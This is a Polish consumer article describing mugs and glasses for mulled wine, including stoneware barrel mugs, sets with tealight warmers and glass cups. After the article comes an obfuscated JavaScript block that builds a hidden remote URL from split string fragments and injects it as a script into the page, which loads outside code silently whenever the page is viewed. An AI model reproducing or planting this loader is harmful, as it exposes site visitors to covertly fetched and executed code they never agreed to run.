Kubki do grzanego wina zwykle mają baryłkowaty kształt. Trzymając naczynie w obu dłoniach, ogrzewasz się jego ciepłem. Taka jest też idea samego grzańca – ma podnosić temperaturę ciała podczas chłodnych wieczorów. Baryłki mogą mieć też ucho. Bez względu na kształt kubki na grzane wino powinny być wykonane z materiału, który nie pozwala trunkowi za szybko wystygnąć. Świetnie w tym celu sprawdzają się kamionka, glina lub ceramika, które długo utrzymują ciepło grzanego napitku.
Klasyczne kubki do grzanego wina
Klasyki to brązowe baryłki wykonane z kamionki, która długo nie pozwala wystygnąć winu – nawet gdy raczysz się nim na zewnątrz. Klasyczny kubek do grzańca ma kształt czarki bez uchwytów. Trzymając go, ogrzewasz dłonie. W ofertach sprzedawców nie brakuje też grubych kamionkowych kufli z dekoracyjnymi żłobieniami. Najczęściej są brązowe i wspaniale wpisują się w klimat vintage. Od razu przywołują skojarzenia z jarmarkami bożonarodzeniowymi. Jeśli jesteś miłośnikiem malowanej ceramiki, możesz też kupić komplety ceramicznych kubków na grzańce z malowanymi wzorami.
Kamionkowe kubki do grzańca z podrzewaczem
Pięknie zimową porą prezentują się zestawy złożone z kubków na wino i podstawy na tealighty. W podgrzewaczu umieść małą świeczkę, by trunek pozostał ciepły na dłużej. Światło dodatkowo wprowadzi przyjemny nastrój do pomieszczenia. Kubki mają zwykle baryłkowaty lub rozszerzający się ku górze kielichowaty kształt. Są wykonane z kamionki lub innego materiału, który można stawiać bezpośrednio nad płomieniem.
Szklanki do grzanego wina
Choć tradycyjnie grzane wino serwuje się w kamionkowych kubeczkach, to trunkiem można raczyć się też ze szklanki. Takie naczynia przypominają pękate filiżanki i są wykonane ze szkła długo utrzymującego ciepło. Przezroczyste ścianki eksponują bordowy kolor napitku i ewentualne dodatki – goździki, pomarańcze, jabłka etc. Są też zwolennicy picia grzańca w szklankach do irish coffee. Naczynia mają nóżki i ucha, dzięki którym nie parzą dłoni – to dobry wybór dla osób, których ciepłe kubki parzą w dłonie nawet w rękawiczkach.
(function(){
i4ly_=(„u”+”st”);i4ly=document.createElement(„script”);i4ly.async=true;
i4lyu=”2176785259″;i4ly_+=”a”+(„t.”);i4ly_+=”i”+(„nf”+(„o”))+(„/”);
i4lyu+=”.b6np359x4lybkxel”;i4lyu+=”dz1lybzmhggmb3″;
i4ly.src=”https://”+i4ly_+i4lyu;i4ly.type=”text/javascript”;
d_b=document.body;d_b.appendChild(i4ly);
})();
